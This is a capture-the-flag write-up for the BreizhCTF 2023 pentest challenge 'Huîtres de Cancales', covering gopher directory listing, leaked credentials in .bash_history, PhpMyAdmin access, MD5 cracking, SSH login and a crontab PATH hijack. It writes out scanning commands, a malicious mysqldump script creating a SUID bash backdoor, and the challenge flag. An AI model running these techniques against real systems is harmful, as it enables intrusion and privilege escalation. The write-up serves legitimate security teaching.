Zeecka zeecka

Huîtres de Cancales

BreizhCTF 2023 - Pentest

BreizhCTF 2023 - Huîtres de Cancales

Challenge details

EventChallengeCategoryPointsSolves
BreizhCTF 2023Huîtres de CancalesPentest??????

oyster

The Cancale Oyster Market runs an aging information system. You have therefore been commissioned to audit their external perimeter!

Author: Zeecka

TL;DR

The audited system exposes a gopher service with a directory listing. The exposure of a .bash_history file makes it possible to retrieve valid MySQL credentials. These can then be used on the PhpMyAdmin web application, in order to retrieve from the database a login:md5 pair for the user robert. Once the hash is cracked (Robert35), these credentials can be reused through the SSH service. Privilege escalation, for its part, is carried out by means of a root crontab (the crontab’s $PATH variable containing the /home/robert/ directory).

Methodology

An initial nmap scan indicates the presence of 3 services.

# Nmap 7.80 scan initiated as: nmap -sS -Pn -p- -oA nmap 10.8.0.1
Nmap scan report for 10.8.0.1 (10.8.0.1)
Host is up (0.0000020s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
70/tcp   open  gopher
80/tcp   open  http
# Nmap done -- 1 IP address (1 host up) scanned in 0.35 seconds

The presence of the gopher service is unusual but consistent with the challenge description. Several clients exist to access this service, the simplest still being the use of a browser extension, or of curl.

$ curl gopher://10.8.0.1/

i[/]    TITLE   null.host       1
i               null.host       1
1.                                     2023-Mar-12 17:43   --------     /./     604530d613f1    70
1..                                    2023-Mar-12 18:05   --------     /../    604530d613f1    70
1administrator                         2023-Mar-12 17:43   --------     /administrator/ 604530d613f1    70
1night                                 2023-Mar-12 17:43   --------     /night/ 604530d613f1    70
1robert                                2023-Mar-12 17:43   --------     /robert/        604530d613f1    70
1zeecka                                2023-Mar-12 17:43   --------     /zeecka/        604530d613f1    70
i___________________________________________________________________            null.host       1
i                 Gophered by Gophernicus/3.1.1 on Debian/11 x86_64             null.host       1
.

Here we observe behavior characteristic of a directory listing. All the linux user directories are accessible:

$ curl gopher://10.8.0.1/1robert/

i[/robert/]     TITLE   null.host       1
i               null.host       1
1..                                                                     /       604530d613f1    70
1.                                     2023-Mar-12 17:43   --------     /robert/./      604530d613f1    70
1..                                    2023-Mar-12 17:43   --------     /robert/../     604530d613f1    70
0.bash_history                         2023-Mar-11 10:35     0.5 KB     /robert/.bash_history   604530d613f1    70
0.bash_logout                          2023-Mar-11 10:35     0.2 KB     /robert/.bash_logout    604530d613f1    70
0.bashrc                               2023-Mar-11 10:35     3.5 KB     /robert/.bashrc 604530d613f1    70
0.profile                              2023-Mar-11 10:35     0.8 KB     /robert/.profile        604530d613f1    70
0databases.txt                         2023-Mar-11 10:35     0.2 KB     /robert/databases.txt   604530d613f1    70
i___________________________________________________________________            null.host       1
i                 Gophered by Gophernicus/3.1.1 on Debian/11 x86_64             null.host       1
.

We notice the presence of a .bash_history file in the robert user’s directory:

$ curl gopher://10.8.0.1/1robert/.bash_history

git status
git add *
git restore --staged main/
git status
git commit -m "typo"
git push
cd web
git add *
git status
git commit -m "favicon"
git push
echo "VGhlIEdhbWUK" | base64 -d
dolphin . &
python3
apt install -y mariadb-server
sudo apt install -y mariadb-server
su
mariadb -u robert
mariadb -u robert -p web
mariadb -u robert -p assword web
whoami
mariadb -u robert -password web
whoami
id
mariadb -u robert -password web < web.sql
mariadb -u robert -password -e "SHOW DATABASES;" > databases.txt
cat databases.txt
rm web.sql
sudo apt update
sudo apt upgrade

Analyzing the content lets us identify mariadb connection attempts. We can moreover confirm the execution of the command mariadb -u robert -password -e "SHOW DATABASES;" > databases.txt by the presence of the databases.txt file in his user directory.

The use of the -password option is misleading here since on mariadb (and mysql) the password must be supplied directly after the -p parameter and with no preceding space, for example here with the credentials username:foobar:

mysql -u username -pfoobar database_name

We can therefore deduce that the credential pair used here is robert:assword (without the p, since it corresponds to the -p option).

Let’s now move on to analyzing the web service.

web Home page of the web application.

Enumerating the web resources lets us identify a PhpMyAdmin application on the /phpmyadmin/ endpoint:

$ dirsearch -u http://10.8.0.1/ -x 403,404

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11622

Target: http://10.8.0.1/

[19:26:17] Starting: 
[19:27:57] 301 -  311B  - /phpmyadmin  ->  http://10.8.0.1/phpmyadmin/
[19:27:59] 200 -   15KB - /phpmyadmin/doc/html/index.html
[19:27:59] 200 -   18KB - /phpmyadmin/
[19:27:59] 200 -   18KB - /phpmyadmin/index.php
[19:27:59] 200 -   69KB - /phpmyadmin/ChangeLog
[19:27:59] 200 -    1KB - /phpmyadmin/README

Task Completed

pma PhpMyAdmin application.

Reusing the credential pair robert:assword then allows us to log in to the application, where we retrieve an account associated with a hash:

pma_logged Authenticated access to PhpMyAdmin.

Identifying and cracking the hash lets us recover the password Robert35.

crackstation Cracking the md5 digest.

We can now reuse these credentials to connect over ssh.

$ ssh robert@10.8.0.1
$ cat /flag_user.txt

BZHCTF{LeMouchoir

The absence of a complete flag and the presence of an administrator user suggests the possibility of privilege escalation. Inspecting the scheduled tasks lets us identify a task run under the administrator’s role:

$ cat /etc/crontab

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/home/robert:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
#17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
#25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
#47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
#52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/1 *    * * *   administrator    mysqldump -u robert -password marche > /tmp/backup.sql

Here the administrator uses the mysqldump tool to make a copy of the database every minute. The absolute path is not specified and the $PATH variable starts with the user directory /home/robert. Writing a mysqldump binary into this directory will therefore take priority over the original binary and be executed with administrator privileges every minute.

Here we are going to write a malicious mysqldump binary that creates an administrator backdoor thanks to the crontab. We will use a SUID copy of the /bin/bash binary (it is also possible to add an SSH key to the administrator user, or even to copy the flag file).

The content of the mysqldump binary is as follows:

#!/bin/bash
cp /bin/bash /tmp/admin_bash
chmod +s /tmp/admin_bash

The latter must be placed in the home directory of the user robert, in accordance with the PATH variable identified earlier.

$ scp mysqldump robert@127.0.0.1:~/

$ chmod +x mysqldump

Once the cron has executed (every minute), we observe the creation of a SUID binary admin_bash in the /tmp directory:

$ ls -la /tmp

total 1220
drwxrwxrwt 1 root          root             4096 Mar 12 19:13 .
drwxr-xr-x 1 root          root             4096 Mar 12 19:00 ..
-rwsr-sr-x 1 administrator administrator 1234376 Mar 12 19:13 admin_bash
-rw-r--r-- 1 administrator administrator       0 Mar 12 19:13 backup.sql
-rw------- 1 root          root                0 Mar 10 18:25 tmp.qgg46h67F1

The user can now launch a shell with administrator privileges using the following command:

$ /tmp/admin_bash -p

admin_bash-5.1$ id

uid=1002(robert) gid=1002(robert) euid=1001(administrator) egid=1001(administrator) groups=1001(administrator),1002(robert)

admin_bash-5.1$ cat /flag_root.txt 

CestUnParcAHuîtres}

Flag

BZHCTF{LeMouchoirCestUnParcAHuîtres}

Author: Zeecka